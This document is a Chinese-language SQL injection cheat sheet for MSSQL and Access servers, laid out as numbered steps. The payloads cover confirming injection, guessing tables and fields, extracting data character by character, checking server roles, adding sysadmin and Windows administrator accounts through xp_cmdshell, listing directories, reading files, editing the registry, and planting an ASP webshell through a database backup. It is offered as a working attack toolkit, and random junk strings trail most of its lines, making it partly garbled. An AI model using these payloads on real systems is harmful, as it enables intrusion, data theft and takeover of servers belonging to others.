1.判断是否有注入;and 1=1 ;and 1=2 5ZxBmQ
2.初步判断是否是mssql ;and user>0 VlNzm
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3.注入参数是字符'and [查询条件] and ''=' S"z4jpqn3
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Vs{sB*:
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5.判断数据库系统 M 4?3l
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;and (select count(*) from sysobjects)>0 mssql (*gpa:Sc
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;and (select count(*) from msysobjects)>0 access Br??Gdd
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 96j2D8=w
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 V [>5
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Q+dI,5YF
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9.(1)猜字段的ascii值(access) `lzH:B
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \I]'6N=
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(2)猜字段的ascii值(mssql) t|lv6-Hy9
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 R4;6Oi)
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10.测试权限结构(mssql) 0qd`Pf
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6qf`P!7d]M
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- v\C+G[MV7
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- fM{Vy])J
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R,lr&;a8
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- M\3!elp2z
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- |QdS;
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;and 1=(select IS_MEMBER('db_owner'));-- JI(|sAH
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11.添加mssql和系统的帐户 hSmM OS{
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;exec master.dbo.sp_addlogin username;-- $[Ns#7K
;exec master.dbo.sp_password null,username,password;-- 7w|s8B
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- r|+Zni]
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;exec master.dbo.xp_cmdshell 'net user username password bmLNR
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :>=,sLfJ
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- cQjJ9o7
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- xUYSD
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12.(1)遍历目录 %o-*~GQ@B
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;insert dirs exec master.dbo.xp_dirtree 'c:\' o?>)CAo
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;and (select top 1 paths from dirs)>0 u4Sa4o
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Q]\xO/
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(2)遍历目录 -v:Y\=[\
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; -3M
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 >v(Xc/oI
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 oq|K:<l
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 rpvm].4
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 '{|87kI
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13.mssql中的存储过程 N7[~Y2i
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xp_regenumvalues 注册表根键, 子键 EV}%D9:
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 @8 pRIS"V
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xp_regread 根键,子键,键值名 vt1!|2{
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ]$7|1-&Y
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xp_regwrite 根键,子键, 值名, 值类型, 值 f}fM%0/5
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 D =3NI
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xp_regdeletevalue 根键,子键,值名 8.vD]hO
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 CkOd>Kn
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 RW3&]l=
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14.mssql的backup创建webshell rTx]%{
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use model ETmfy}V8
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create table cmd(str image); bkV_ ^8
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insert into cmd(str) values (''); j_k!9"bt
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backup database model to disk='c:\l.asp'; O)&V}hU*
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15.mssql内置函数 wz'D4B
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;and (select @@version)>0 获得Windows的版本号 ?8`b
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5Ba eHzI
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;and (select user_name())>0 爆当前系统的连接用户 q>,i `*
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;and (select db_name())>0 得到当前连接的数据库 #Hq XC\~n
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16.简洁的webshell P#iBwmwN+.
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use model U1I2+;"#A
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create table cmd(str image); @<h@d_8^k
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insert into cmd(str) values (''); \\6/"
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backup database model to disk='g:\wwwtest\l.asp';